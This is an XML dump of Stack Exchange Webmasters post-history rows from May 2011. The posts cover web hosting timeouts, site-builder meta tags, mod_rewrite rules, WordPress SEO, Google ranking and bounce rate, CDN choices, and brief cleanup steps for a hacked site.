  <row Id="32360" PostHistoryTypeId="24" PostId="13899" RevisionGUID="6d955b81-1ceb-46ba-a76f-219c8de494c8" CreationDate="2011-05-16T20:01:00.353" Comment="Proposed by 4502 approved by 1253 edit id of 287" />
  <row Id="32361" PostHistoryTypeId="5" PostId="13906" RevisionGUID="e4c26d36-21fb-4d65-812d-4e1718c860c0" CreationDate="2011-05-16T20:04:33.800" UserId="1253" Comment="modified tags, minor text edits" Text="I'm using Dreamhost. In one of my scripts I need to gather contents of url (using file_get_contents). There are 9 sites, 8 of them are ok but one is very slow. It tooks 10~30sec. to connect. &#xD;&#xA;&#xD;&#xA;As you would know scripts running more than ~5 seconds are killed by Dreamhost happy killer. So I cant gather this site. &#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32362" PostHistoryTypeId="4" PostId="13906" RevisionGUID="e4c26d36-21fb-4d65-812d-4e1718c860c0" CreationDate="2011-05-16T20:04:33.800" UserId="1253" Comment="modified tags, minor text edits" Text="Dreamhost script killed" />
  <row Id="32363" PostHistoryTypeId="6" PostId="13906" RevisionGUID="e4c26d36-21fb-4d65-812d-4e1718c860c0" CreationDate="2011-05-16T20:04:33.800" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;php&gt;&lt;web-hosting&gt;&lt;dreamhost&gt;" />
  <row Id="32364" PostHistoryTypeId="2" PostId="13910" RevisionGUID="0e0e3dca-39f5-4479-88a5-39d76158b535" CreationDate="2011-05-16T20:20:15.183" UserDisplayName="Joe" Text="I am a newbie to website work.  I am on the board of a new non-profit, and have been given the task of getting the website up and running.  We elected a package from Fatcow.com that gives hosting and most services, cheap, but the only downside is the drag-and-drop style builder.  Of course without this builder, I would not have the page up already.  The downside to the builder is that it is hard, if not impossible, to edit the tags I need to in the actual code.  I have a copy of the Google Webmaster starter guide, and want to set meta-tags for each page on the site, however, I cannot find a function on fatcow to allow me access to read the code behind the pages.&#xD;&#xA;&#xD;&#xA;Can anyone tell me how else to access the code for manual editing?  &#xD;&#xA;" />
  <row Id="32365" PostHistoryTypeId="1" PostId="13910" RevisionGUID="0e0e3dca-39f5-4479-88a5-39d76158b535" CreationDate="2011-05-16T20:20:15.183" UserDisplayName="Joe" Text="How can I change my site's meta tags using fatcow.com site builder?" />
  <row Id="32366" PostHistoryTypeId="3" PostId="13910" RevisionGUID="0e0e3dca-39f5-4479-88a5-39d76158b535" CreationDate="2011-05-16T20:20:15.183" UserDisplayName="Joe" Text="&lt;web-development&gt;" />
  <row Id="32367" PostHistoryTypeId="17" PostId="13910" RevisionGUID="37ff2155-ec46-4e43-be7e-22261b9083c0" CreationDate="2011-05-16T20:42:58.953" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/76687/how-can-i-change-my-sites-meta-tags-using-fatcow-com-site-builder" Text="" />
  <row Id="32368" PostHistoryTypeId="2" PostId="13911" RevisionGUID="db377e81-bd12-42c2-840f-104739140ce8" CreationDate="2011-05-16T20:52:44.357" UserId="4502" Text="How about &lt;a href=&quot;http://www.fatcow.com/knowledgebase/beta/article.bml?ArticleID=1685&amp;type=How%20To&quot;&gt;this page&lt;/a&gt;, Step 8." />
  <row Id="32369" PostHistoryTypeId="2" PostId="13912" RevisionGUID="e93a0b76-15e1-42d5-bf8b-006c7e760307" CreationDate="2011-05-16T20:58:19.557" UserId="7545" Text="Google Analytics can't analyse your log files, for that you'd need the paid version called Urchin. What you can do though is track clicks/interactions on links to files. You can track clicks in two ways, as [virtual page views][2] or as [events][3]. Generally speaking, event tracking would be the recommended way to track downloads.  &#xD;&#xA;&#xD;&#xA;  [2]: http://code.google.com/apis/analytics/docs/tracking/asyncMigrationExamples.html#VirtualPageviews&#xD;&#xA;  [3]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html&#xD;&#xA;" />
  <row Id="32370" PostHistoryTypeId="2" PostId="13913" RevisionGUID="5c4e5403-cf43-4a60-bb63-12a70c2d7aca" CreationDate="2011-05-16T21:08:14.920" UserId="6193" Text="I need a tabbed-menu template where the tabbed menu for the present page **changes color**.  If possible, it should play nicely with browser that don't have JavaScript enabled.&#xD;&#xA;&#xD;&#xA;Other then the tabs, I prefer a simple blank page without complicated CSS.&#xD;&#xA;" />
  <row Id="32371" PostHistoryTypeId="1" PostId="13913" RevisionGUID="5c4e5403-cf43-4a60-bb63-12a70c2d7aca" CreationDate="2011-05-16T21:08:14.920" UserId="6193" Text="Tabbed-Menu where tabs Change Color?" />
  <row Id="32372" PostHistoryTypeId="3" PostId="13913" RevisionGUID="5c4e5403-cf43-4a60-bb63-12a70c2d7aca" CreationDate="2011-05-16T21:08:14.920" UserId="6193" Text="&lt;menu&gt;&lt;navigation&gt;" />
  <row Id="32373" PostHistoryTypeId="25" PostId="13910" RevisionGUID="90fc52d6-28d8-495f-af63-bbd794a632b5" CreationDate="2011-05-16T21:12:11.553" Comment="http://twitter.com/#!/StackWebmasters/status/70235117007814656" />
  <row Id="32374" PostHistoryTypeId="17" PostId="13915" RevisionGUID="4b37b35a-f6e5-49d4-af20-b29ad79ab689" CreationDate="2011-05-16T21:30:27.773" UserId="-1" Comment="from http://stackoverflow.com/questions/6023631/effect-on-google-rankings-if-my-site-is-down/6023677#6023677" Text="" />
  <row Id="32375" PostHistoryTypeId="2" PostId="13915" RevisionGUID="7f41089d-f65b-49f6-9860-9dcb5ef84f40" CreationDate="2011-05-16T21:29:21.670" UserDisplayName="Devin M" Text="Google does take into account uptime and downtime, it also monitors response time. Your listings would not be deleted for a short downtime like this however if you rely on popular keywords your sites rank might fall depending on how competitive the category you are in is. &#xD;&#xA;&#xD;&#xA;Here is an article that explains the position that google is thought to take:&#xD;&#xA;http://jamesmartell.com/matt-cutts/can-a-sites-downtime-affect-its-ranking/" />
  <row Id="32376" PostHistoryTypeId="2" PostId="13914" RevisionGUID="a047a643-b224-401e-841e-5376ac5818e6" CreationDate="2011-05-16T21:25:05.707" UserDisplayName="Virendar" Text="My site has been down for the last 8 hours due to hardware problems.&#xD;&#xA;&#xD;&#xA;Any ideas on how this will affect my Google rankings/serps ??" />
  <row Id="32377" PostHistoryTypeId="1" PostId="13914" RevisionGUID="a047a643-b224-401e-841e-5376ac5818e6" CreationDate="2011-05-16T21:25:05.707" UserDisplayName="Virendar" Text="Effect on Google rankings if my site is down?" />
  <row Id="32378" PostHistoryTypeId="3" PostId="13914" RevisionGUID="a047a643-b224-401e-841e-5376ac5818e6" CreationDate="2011-05-16T21:25:05.707" UserDisplayName="Virendar" Text="&lt;google&gt;&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="32379" PostHistoryTypeId="17" PostId="13914" RevisionGUID="254b6a03-5a90-44ab-b3bb-ebc30b10fce4" CreationDate="2011-05-16T21:30:27.773" UserId="-1" Comment="from http://stackoverflow.com/questions/6023631/effect-on-google-rankings-if-my-site-is-down" Text="" />
  <row Id="32380" PostHistoryTypeId="2" PostId="13916" RevisionGUID="07852a28-49d4-47f1-a09d-24d5feba7dac" CreationDate="2011-05-16T21:39:31.150" UserDisplayName="Goro" Text="I have the following mod_rewrite rules set up:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.php -f&#xD;&#xA;    RewriteRule ^(.*)$ $1.php&#xD;&#xA;&#xD;&#xA;This works fine, allowing me to use &quot;nice&quot; URIs (like www.mysite.com/about instead of www.mysite.com/about.php.&#xD;&#xA;&#xD;&#xA;However, when I have both a directory and a file with the same name (for example /products and products.php, this breaks as apache just redirects to the directory. Is there a way to fix this?&#xD;&#xA;&#xD;&#xA;Thanks," />
  <row Id="32381" PostHistoryTypeId="1" PostId="13916" RevisionGUID="07852a28-49d4-47f1-a09d-24d5feba7dac" CreationDate="2011-05-16T21:39:31.150" UserDisplayName="Goro" Text="mod_apache rewrite rules" />
  <row Id="32382" PostHistoryTypeId="3" PostId="13916" RevisionGUID="07852a28-49d4-47f1-a09d-24d5feba7dac" CreationDate="2011-05-16T21:39:31.150" UserDisplayName="Goro" Text="&lt;apache&gt;&lt;webserver&gt;&lt;mod-rewrite&gt;" />
  <row Id="32383" PostHistoryTypeId="17" PostId="13916" RevisionGUID="29bc4010-7422-486a-9ed0-30cfed8f9389" CreationDate="2011-05-16T21:41:12.530" UserId="-1" Comment="from http://serverfault.com/questions/270353/mod-apache-rewrite-rules" Text="" />
  <row Id="32384" PostHistoryTypeId="2" PostId="13917" RevisionGUID="2672bfad-031e-4c39-9f5c-a7bb212d3833" CreationDate="2011-05-16T22:34:06.610" UserId="7549" Text="You can remove `RewriteCond %{REQUEST_FILENAME} !-d`, but that's going to effectively disable your ability to browse directories or to load a `DirectoryIndex` page." />
  <row Id="32386" PostHistoryTypeId="2" PostId="13918" RevisionGUID="39ae037c-4ba8-44b6-94c6-41aaf45c905e" CreationDate="2011-05-16T22:47:44.460" UserId="7548" Text="I keep reading that the SEO will be much better if you have a self-hosted wordpress.org blog versus a wordpress.com blog.&#xD;&#xA;&#xD;&#xA;The main concepts that I know of in SEO are:&#xD;&#xA;&#xD;&#xA; 1. Relevant keywords in the text of the article&#xD;&#xA; 2. sites linking to your sites with the same keywords&#xD;&#xA; 3. h1/h2 tags&#xD;&#xA; 4. Relevant title&#xD;&#xA; 5. Relevant URL&#xD;&#xA; 6. meta tags&#xD;&#xA;&#xD;&#xA;Now as far as I know 1-5 are catered for with a wordpress.com blog.  On top of that its set up for making Google/Bing find you.  So a wordpress.com blog will automatically submit all your posts to all the search engines - you have to install all your own plugins for wordpress.org and there's no guarantee you're doing it right.&#xD;&#xA;&#xD;&#xA;So does anyone have some (preferably quantifyable) reasons why the SEO should be so much better on wordpress.org?" />
  <row Id="32387" PostHistoryTypeId="1" PostId="13918" RevisionGUID="39ae037c-4ba8-44b6-94c6-41aaf45c905e" CreationDate="2011-05-16T22:47:44.460" UserId="7548" Text="wordpress.com vs wordpress.org SEO" />
  <row Id="32388" PostHistoryTypeId="3" PostId="13918" RevisionGUID="39ae037c-4ba8-44b6-94c6-41aaf45c905e" CreationDate="2011-05-16T22:47:44.460" UserId="7548" Text="&lt;seo&gt;&lt;wordpress&gt;" />
  <row Id="32389" PostHistoryTypeId="5" PostId="13918" RevisionGUID="5979343d-0d0c-4cc3-89ae-ee9c94b4ff06" CreationDate="2011-05-16T22:59:02.257" UserId="7548" Comment="added 239 characters in body" Text="I keep reading that the SEO will be much better if you have a self-hosted wordpress.org blog versus a wordpress.com blog.&#xD;&#xA;&#xD;&#xA;The main concepts that I know of in SEO are:&#xD;&#xA;&#xD;&#xA; 1. Relevant keywords in the text of the article&#xD;&#xA; 2. sites linking to your sites with the same keywords&#xD;&#xA; 3. h1/h2 tags&#xD;&#xA; 4. Relevant title&#xD;&#xA; 5. Relevant URL&#xD;&#xA; 6. meta tags&#xD;&#xA;&#xD;&#xA;Now as far as I know 1-5 are catered for with a wordpress.com blog.  On top of that its set up for making Google/Bing find you.  So a wordpress.com blog will automatically submit all your posts to all the search engines - you have to install all your own plugins for wordpress.org and there's no guarantee you're doing it right.&#xD;&#xA;&#xD;&#xA;I realise this question is similar to the one on [SEO Implications of blog on site versus offsite?][1]. I think that shows that 2 is no different whether is wordpress.com/.org&#xD;&#xA;&#xD;&#xA;So does anyone have some (preferably quantifyable) reasons why the SEO should be so much better on wordpress.org?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/q/2893/7548" />
  <row Id="32390" PostHistoryTypeId="4" PostId="13916" RevisionGUID="452c49f6-42aa-4030-99c3-73d32ef601b0" CreationDate="2011-05-16T23:08:58.163" UserId="1010" Comment="Rebuild title to be relevant to the question " Text="Changing mod_rewrite &quot;file exists&quot; checks to not see directories as files" />
  <row Id="32391" PostHistoryTypeId="24" PostId="13916" RevisionGUID="452c49f6-42aa-4030-99c3-73d32ef601b0" CreationDate="2011-05-16T23:08:58.163" Comment="Proposed by 1010 approved by 1253 edit id of 288" />
  <row Id="32393" PostHistoryTypeId="2" PostId="13919" RevisionGUID="3e0c08ce-46d0-4866-97a9-957920f89438" CreationDate="2011-05-16T23:20:22.943" UserId="6318" Text="I've built a number of sites (albeit, limited number), and my process generally looks a bit like this:&#xD;&#xA;&#xD;&#xA;**1. Features**. With pencil and paper, lay out the distinct features / pages that will comprise the site. This gets at the broad stroke questions - are you building a simple info and graphic site for your mom? an ecommerce solution for a small business? a blog / gallery for a photographer friend? Your answer will determine a lot about the build path you will need to follow. This stage may also involve considerable discussion with a client or whomever is driving the boat (if it isn't you). &#xD;&#xA;&#xD;&#xA;**2. Wireframe**. With all necessary features laid out, work up a wireframe. Either on paper or with a tool like fireworks that will allow you to build in very simple navigational functionality. If you are working with a CMS like wordpress, how is your static content going to be handled? This might also be a good time to start thinking about file structure. If your project will need a custom database, now is also the time to start planning its design and implementation. This is a critical stage, as smart planning will save a lot of backtracking and reworking, should errors get made, or the project creep happens.  &#xD;&#xA;&#xD;&#xA;**3. Technology**. Once the planning stage is relatively worked out - pick your technologies. Are you doing straight html? a php cms in a lamp environment? .net mvc storefront? These questions may influence what hosting environment will be required, as well as costs to run the thing. If you are doing a storefront, security is a primary concern here (SSLs and PCI compliance, for example). Make sure you have a great testing environment (localhost, or otherwise) established.&#xD;&#xA;&#xD;&#xA;**4. Design / Layout**. When your feature list and wireframe is pretty well determined, you can start thinking about the design of the site. Knowing what is going to fill the pages is, obviously, a pre-requisite. I like to work in photoshop, and make heavy use of folders as an analogue to your markup structure. I go so far as to name them with the intended markup and css identifiers. Though its probably wise to do some free form drawing before you get really detailed. I tend to make use of &quot;layout&quot; files that I will pull elements from, and place into &quot;process&quot; files - files that i use to output production graphics. &#xD;&#xA;&#xD;&#xA;**5. Markup / CSS**. Once a pretty clean design is worked out (given that it will certainly flex a bit, as you go into production mode) you can start writing markup. I generally like to have a standard layout that will accommodate all content in the site. So - clean and flexible should be the key point here. Broad strokes. Layout should be fairly complete before you start writing CSS, but I find they do a lot to inform eachother. You also will do a lot of SEO optimization in this stage (proper naming of images or A tags, meta info, doctypes etc...) Be thorough.&#xD;&#xA;&#xD;&#xA;**5.1 Theme Management**. If you are working with a CMS, and your design will be employed as a customized theme, find some tutorials on how exactly to do that for your intended application. This can be daunting, frankly ;) I will always build a static markup layout with fairly complete CSS prior to chopping it up into theme elements. &#xD;&#xA;&#xD;&#xA;**6. Behavior**. When your markup and css is looking pretty complete, and maybe your theme is in place, you can start developing behaviors (rollovers, etc.) Unobtrusive javascript is important, unless you are making use of features that absolutely require it (an ajax-heavy gallery, or data-driven flash content). The general rule is - if someone visits your site with javascript turned off, what are they going to see? I sometimes remove static elements and replace then with interactive versions at runtime. &#xD;&#xA;&#xD;&#xA;**7. Content**. Unless the design is reliant on content (images are sometimes content, for example) = I generally use placeholder text/graphics until the design and behavior is pretty well established. Avoid doing work more than once. If you are filling in product data, careful error checking and testing will be required. &#xD;&#xA;&#xD;&#xA;At that point, there always seems to be a period of reworking and fixing and polishing. But, essentially, its time to make it live. Then go have a snack.&#xD;&#xA;&#xD;&#xA;Hmmm. I guess thats more than just &quot;how to start&quot;. But maybe it helps, anyway. Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32394" PostHistoryTypeId="16" PostId="13919" RevisionGUID="248ca974-c13b-4c6b-8afc-7b6a94c828be" CreationDate="2011-05-16T23:20:22.943" UserId="6318" />
  <row Id="32395" PostHistoryTypeId="5" PostId="13919" RevisionGUID="8fa5dfef-f7b9-4703-b5bf-20f6f8428ca2" CreationDate="2011-05-16T23:27:12.953" UserId="6318" Comment="deleted 59 characters in body" Text="My process generally looks a bit like this:&#xD;&#xA;&#xD;&#xA;**1. Features**. With pencil and paper, lay out the distinct features / pages that will comprise the site. This gets at the broad stroke questions - are you building a simple info and graphic site for your mom? an ecommerce solution for a small business? a blog / gallery for a photographer friend? Your answer will determine a lot about the build path you will need to follow. This stage may also involve considerable discussion with a client or whomever is driving the boat (if it isn't you). &#xD;&#xA;&#xD;&#xA;**2. Wireframe**. With all necessary features laid out, work up a wireframe. Either on paper or with a tool like fireworks that will allow you to build in very simple navigational functionality. If you are working with a CMS like wordpress, how is your static content going to be handled? This might also be a good time to start thinking about file structure. If your project will need a custom database, now is also the time to start planning its design and implementation. This is a critical stage, as smart planning will save a lot of backtracking and reworking, should errors get made, or the project creep happens.  &#xD;&#xA;&#xD;&#xA;**3. Technology**. Once the planning stage is relatively worked out - pick your technologies. Are you doing straight html? a php cms in a lamp environment? .net mvc storefront? These questions may influence what hosting environment will be required, as well as costs to run the thing. If you are doing a storefront, security is a primary concern here (SSLs and PCI compliance, for example). Make sure you have a great testing environment (localhost, or otherwise) established.&#xD;&#xA;&#xD;&#xA;**4. Design / Layout**. When your feature list and wireframe is pretty well determined, you can start thinking about the design of the site. Knowing what is going to fill the pages is, obviously, a pre-requisite. I like to work in photoshop, and make heavy use of folders as an analogue to your markup structure. I go so far as to name them with the intended markup and css identifiers. Though its probably wise to do some free form drawing before you get really detailed. I tend to make use of &quot;layout&quot; files that I will pull elements from, and place into &quot;process&quot; files - files that i use to output production graphics. &#xD;&#xA;&#xD;&#xA;**5. Markup / CSS**. Once a pretty clean design is worked out (given that it will certainly flex a bit, as you go into production mode) you can start writing markup. I generally like to have a standard layout that will accommodate all content in the site. So - clean and flexible should be the key point here. Broad strokes. Layout should be fairly complete before you start writing CSS, but I find they do a lot to inform eachother. You also will do a lot of SEO optimization in this stage (proper naming of images or A tags, meta info, doctypes etc...) Be thorough.&#xD;&#xA;&#xD;&#xA;**5.1 Theme Management**. If you are working with a CMS, and your design will be employed as a customized theme, find some tutorials on how exactly to do that for your intended application. This can be daunting, frankly ;) I will always build a static markup layout with fairly complete CSS prior to chopping it up into theme elements. &#xD;&#xA;&#xD;&#xA;**6. Behavior**. When your markup and css is looking pretty complete, and maybe your theme is in place, you can start developing behaviors (rollovers, etc.) Unobtrusive javascript is important, unless you are making use of features that absolutely require it (an ajax-heavy gallery, or data-driven flash content). The general rule is - if someone visits your site with javascript turned off, what are they going to see? I sometimes remove static elements and replace then with interactive versions at runtime. &#xD;&#xA;&#xD;&#xA;**7. Content**. Unless the design is reliant on content (images are sometimes content, for example) = I generally use placeholder text/graphics until the design and behavior is pretty well established. Avoid doing work more than once. If you are filling in product data, careful error checking and testing will be required. &#xD;&#xA;&#xD;&#xA;At that point, there always seems to be a period of reworking and fixing and polishing. But, essentially, its time to make it live. Then go have a snack.&#xD;&#xA;&#xD;&#xA;Hmmm. I guess thats more than just &quot;how to start&quot;. But maybe it helps, anyway. Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="32396" PostHistoryTypeId="5" PostId="13918" RevisionGUID="353ec0b9-d7ee-4ba4-8a13-e43f00b0c715" CreationDate="2011-05-17T00:09:31.067" UserId="7548" Comment="added google link" Text="I keep reading that the SEO will be much better if you have a self-hosted wordpress.org blog versus a wordpress.com blog.&#xD;&#xA;&#xD;&#xA;The main concepts that I know of in SEO are:&#xD;&#xA;&#xD;&#xA; 1. Relevant keywords in the text of the article&#xD;&#xA; 2. sites linking to your sites with the same keywords&#xD;&#xA; 3. h1/h2 tags&#xD;&#xA; 4. Relevant title&#xD;&#xA; 5. Relevant URL&#xD;&#xA; 6. meta tags&#xD;&#xA;&#xD;&#xA;Now as far as I know 1-5 are catered for with a wordpress.com blog.  On top of that its set up for making Google/Bing find you.  So a wordpress.com blog will automatically submit all your posts to all the search engines - you have to install all your own plugins for wordpress.org and there's no guarantee you're doing it right.&#xD;&#xA;&#xD;&#xA;I realise this question is similar to the one on [SEO Implications of blog on site versus offsite?][1]. I think that shows that 2 is no different whether is wordpress.com/.org&#xD;&#xA;&#xD;&#xA;[Edit] Further to this I've found the [Google statement](http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html) that they ignore the meta keywords tag, so its only the meta description tag that can be added with a wordpress.org SEO plugin.&#xD;&#xA;&#xD;&#xA;So does anyone have some (preferably quantifyable) reasons why the SEO should be so much better on wordpress.org?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/q/2893/7548" />
  <row Id="32397" PostHistoryTypeId="25" PostId="13914" RevisionGUID="49bad604-1047-4ea4-857b-d8a08b47c0f9" CreationDate="2011-05-17T00:12:12.283" Comment="http://twitter.com/#!/StackWebmasters/status/70280418456375296" />
  <row Id="32398" PostHistoryTypeId="2" PostId="13920" RevisionGUID="1e4f07b8-19c7-4eca-a904-619118d274cd" CreationDate="2011-05-17T02:03:25.313" UserId="10" Text="Does Google consider bounce rate or something similar in ranking sites?&#xD;&#xA;&#xD;&#xA;**Background:** here at Stack Exchange we noticed that the latest Google algorithm changes resulted in about a 20% dip in traffic to [Server Fault](http://serverfault.com) (and a much smaller dip in traffic to [Super User](http://superuser.com)). Stack Overflow traffic was not affected.&#xD;&#xA;&#xD;&#xA;There was an [article on WebProNews](http://www.webpronews.com/google-algorithm-bounce-rate-ranking-signal-2011-05) which hypothesized that bounce rate might be a ranking signal in Google's latest Panda update.&#xD;&#xA;&#xD;&#xA;According to Google Analytics, these are our bounce rates over the last month:&#xD;&#xA;&#xD;&#xA;    SuperUser      84.67%  &#xD;&#xA;    ServerFault    83.76%  &#xD;&#xA;    Stack Overflow 63.63%  &#xD;&#xA;&#xD;&#xA;Now, technically, Google has no way to know the bounce rate. If you go to Google, search for something, and click on the first result, Google can't tell the difference between:&#xD;&#xA;&#xD;&#xA;* a user who turns off their computer&#xD;&#xA;* a user who goes to a completely different web site&#xD;&#xA;* a user who spends hours clicking around on the website they landed on&#xD;&#xA;&#xD;&#xA;What Google *does* know is how long it takes the user to come back to Google and do another search. According to the book [In The Plex](http://www.amazon.com/Plex-Google-Thinks-Works-Shapes/dp/1416596585) (page 47), Google distinguishes between what they call &quot;short clicks&quot; and &quot;long clicks&quot;:&#xD;&#xA;&#xD;&#xA;* A *short click* is a search where the user quickly comes back to Google and does another search. Google interprets this as a signal that the first search results were unsatisfactory.&#xD;&#xA;* A *long click* is a search where the user doesn't search again for a long time.&#xD;&#xA;&#xD;&#xA;The book says that Google uses this information internally, to judge the quality of their own algorithms. It also said that short click data in which someone retypes a slight variation of the search is used to fuel the &quot;Did you mean...?&quot; spell checking algorithm.&#xD;&#xA;&#xD;&#xA;So, my hypothesis is that Google has recently decided to use long click rates as a signal of a high quality site. Does anyone have any evidence of this? Have you seen any high-bounce-rate sites which lost traffic (or vice-versa)?" />
  <row Id="32399" PostHistoryTypeId="1" PostId="13920" RevisionGUID="1e4f07b8-19c7-4eca-a904-619118d274cd" CreationDate="2011-05-17T02:03:25.313" UserId="10" Text="Google ranking and bounce rate" />
  <row Id="32400" PostHistoryTypeId="3" PostId="13920" RevisionGUID="1e4f07b8-19c7-4eca-a904-619118d274cd" CreationDate="2011-05-17T02:03:25.313" UserId="10" Text="&lt;google&gt;&lt;google-search&gt;&lt;google-ranking&gt;" />
  <row Id="32401" PostHistoryTypeId="5" PostId="13920" RevisionGUID="5927c76b-35c2-45bc-b874-b124229c52ba" CreationDate="2011-05-17T02:10:13.093" UserId="10" Comment="added &quot;average time on site&quot;" Text="Does Google consider bounce rate or something similar in ranking sites?&#xD;&#xA;&#xD;&#xA;**Background:** here at Stack Exchange we noticed that the latest Google algorithm changes resulted in about a 20% dip in traffic to [Server Fault](http://serverfault.com) (and a much smaller dip in traffic to [Super User](http://superuser.com)). Stack Overflow traffic was not affected.&#xD;&#xA;&#xD;&#xA;There was an [article on WebProNews](http://www.webpronews.com/google-algorithm-bounce-rate-ranking-signal-2011-05) which hypothesized that bounce rate might be a ranking signal in Google's latest Panda update.&#xD;&#xA;&#xD;&#xA;According to Google Analytics, these are our bounce rates over the last month:&#xD;&#xA;&#xD;&#xA;    Site           Bounce Rate Avg Time on Site&#xD;&#xA;    -------------  ----------- ----------------&#xD;&#xA;    SuperUser      84.67%      01:16&#xD;&#xA;    ServerFault    83.76%      00:53&#xD;&#xA;    Stack Overflow 63.63%      04:12&#xD;&#xA;&#xD;&#xA;Now, technically, Google has no way to know the bounce rate. If you go to Google, search for something, and click on the first result, Google can't tell the difference between:&#xD;&#xA;&#xD;&#xA;* a user who turns off their computer&#xD;&#xA;* a user who goes to a completely different web site&#xD;&#xA;* a user who spends hours clicking around on the website they landed on&#xD;&#xA;&#xD;&#xA;What Google *does* know is how long it takes the user to come back to Google and do another search. According to the book [In The Plex](http://www.amazon.com/Plex-Google-Thinks-Works-Shapes/dp/1416596585) (page 47), Google distinguishes between what they call &quot;short clicks&quot; and &quot;long clicks&quot;:&#xD;&#xA;&#xD;&#xA;* A *short click* is a search where the user quickly comes back to Google and does another search. Google interprets this as a signal that the first search results were unsatisfactory.&#xD;&#xA;* A *long click* is a search where the user doesn't search again for a long time.&#xD;&#xA;&#xD;&#xA;The book says that Google uses this information internally, to judge the quality of their own algorithms. It also said that short click data in which someone retypes a slight variation of the search is used to fuel the &quot;Did you mean...?&quot; spell checking algorithm.&#xD;&#xA;&#xD;&#xA;So, my hypothesis is that Google has recently decided to use long click rates as a signal of a high quality site. Does anyone have any evidence of this? Have you seen any high-bounce-rate sites which lost traffic (or vice-versa)?" />
  <row Id="32404" PostHistoryTypeId="2" PostId="13922" RevisionGUID="d08d410a-e4ed-40e6-8452-9e8c527b7475" CreationDate="2011-05-17T02:16:42.697" UserId="7554" Text="Joel,&#xD;&#xA;&#xD;&#xA;While the question is interesting in the hypothetical sense, it lacks the action-ability part of being practical.&#xD;&#xA;&#xD;&#xA;Suppose for a minute, that the answer is yes -Google uses bounce rate for ranking sites -what would you do about it? The only way to reliably increase this metric would be to put artificial blocks between the user, and the answer marked as correct on SO -which would slowly train users to avoid these domains (decreasing the CTR from Google -which is known to be an important metric in relevance sorting).&#xD;&#xA;&#xD;&#xA;Hence, my suggestion would be to focus your time &amp; effort on metrics that you can actually work on, rather than double-guessing externalities which aren't under your control.&#xD;&#xA;" />
  <row Id="32405" PostHistoryTypeId="2" PostId="13923" RevisionGUID="9e635f61-28b2-4e6d-94cc-d987976ed1f6" CreationDate="2011-05-17T02:17:50.653" UserId="7560" Text="It is not enough to simply delete that snippet of code. And this is not what you do first.&#xD;&#xA;&#xD;&#xA;- First you need to look for a newly added folder on your server called .log. Delete it.&#xD;&#xA;- Then you need to delete one or two bogus .php files placed either on root or in subfolders&#xD;&#xA;- Then you need to either delete a .htaccess folder placed on your server, or rewrite an existing one (please see&#xD;&#xA;http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/&#xD;&#xA;- Finally, you delete that code snippet you mention " />
  <row Id="32406" PostHistoryTypeId="2" PostId="13924" RevisionGUID="9d564646-207b-48f6-8c3f-ee2bb8dda2a8" CreationDate="2011-05-17T02:19:09.777" UserId="1253" Text="I have an issue with the concept of long/short clicks being used in their ranking algorithm. There are too many scenarios where both short and long clicks occur that are the opposite of what the standard logic would be.&#xD;&#xA;&#xD;&#xA;For example, short clicks could occur because:&#xD;&#xA;&#xD;&#xA; - A user is opening many tabs at once, let's say all ten links on the first search results page, for research of some kind. (Whether that research is SEO or academic is irrelevant). These will all appear as short clicks.&#xD;&#xA;&#xD;&#xA; - Someone is looking for a particular site and is hopping through results until they find the one they want. Their tome on each site is short not because the site is poorly done, it's just not the one specific site the user is looking for.&#xD;&#xA;&#xD;&#xA; - This is way too easy to manipulate. If this really was a potential ranking factor it's not hard to imagine black hats short clicking their competitors to serve their own ends. (Naturally this would be automated to produce the quantity necessary to spur Google into action).&#xD;&#xA;&#xD;&#xA;Long clicks can occur because:&#xD;&#xA;&#xD;&#xA; - A user has no idea what they are looking for and spends an eternity on each site looking for it but never finds it (e.g. that site is irrelevant).&#xD;&#xA;&#xD;&#xA; - A user walks away from their computer or gets side tracked for any reason&#xD;&#xA;&#xD;&#xA; - Abuse (see above)&#xD;&#xA;&#xD;&#xA; - A user is Internet-clueless and just takes a long time at teach site because they have a hard time using the Internet.&#xD;&#xA;&#xD;&#xA;The best way I can imagine this information being used is for personalized search. If someone keeps short-clicking a particular site then it probably warrants being lowered in their personal search results.&#xD;&#xA;&#xD;&#xA;As for anecdotal evidence, I have a few dozen client sites I monitor and bounce rate does not seem to correlate to rankings.&#xD;&#xA;&#xD;&#xA;As for Google using Google Analytics in their search algorithm, [the answer from Matt Cuitts is no][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=CgBw9tbAQhU" />
  <row Id="32407" PostHistoryTypeId="2" PostId="13925" RevisionGUID="7dafbfc2-84e7-4a9b-8e86-f8b8220091b7" CreationDate="2011-05-17T02:28:34.997" UserId="7562" Text="I would like to speed up my site and am considering moving all static files and user uploaded content to a separate server. I have an option to use a CDN or to setup my own static server and serve files with lighttpd from there. &#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;When should I choose CDN and when is it a good idea to use your own server?&#xD;&#xA;Would using your own server be more cost effective?&#xD;&#xA;How are CDNs integrated ussually? Is there a client software installed on my server that pushes new data (user uploaded content) to the CDN?&#xD;&#xA;What is the best practice for setting up your own static server and is rsync used for moving files over?" />
  <row Id="32408" PostHistoryTypeId="1" PostId="13925" RevisionGUID="7dafbfc2-84e7-4a9b-8e86-f8b8220091b7" CreationDate="2011-05-17T02:28:34.997" UserId="7562" Text="Using CDN vs having your own static server, and how it's done?" />
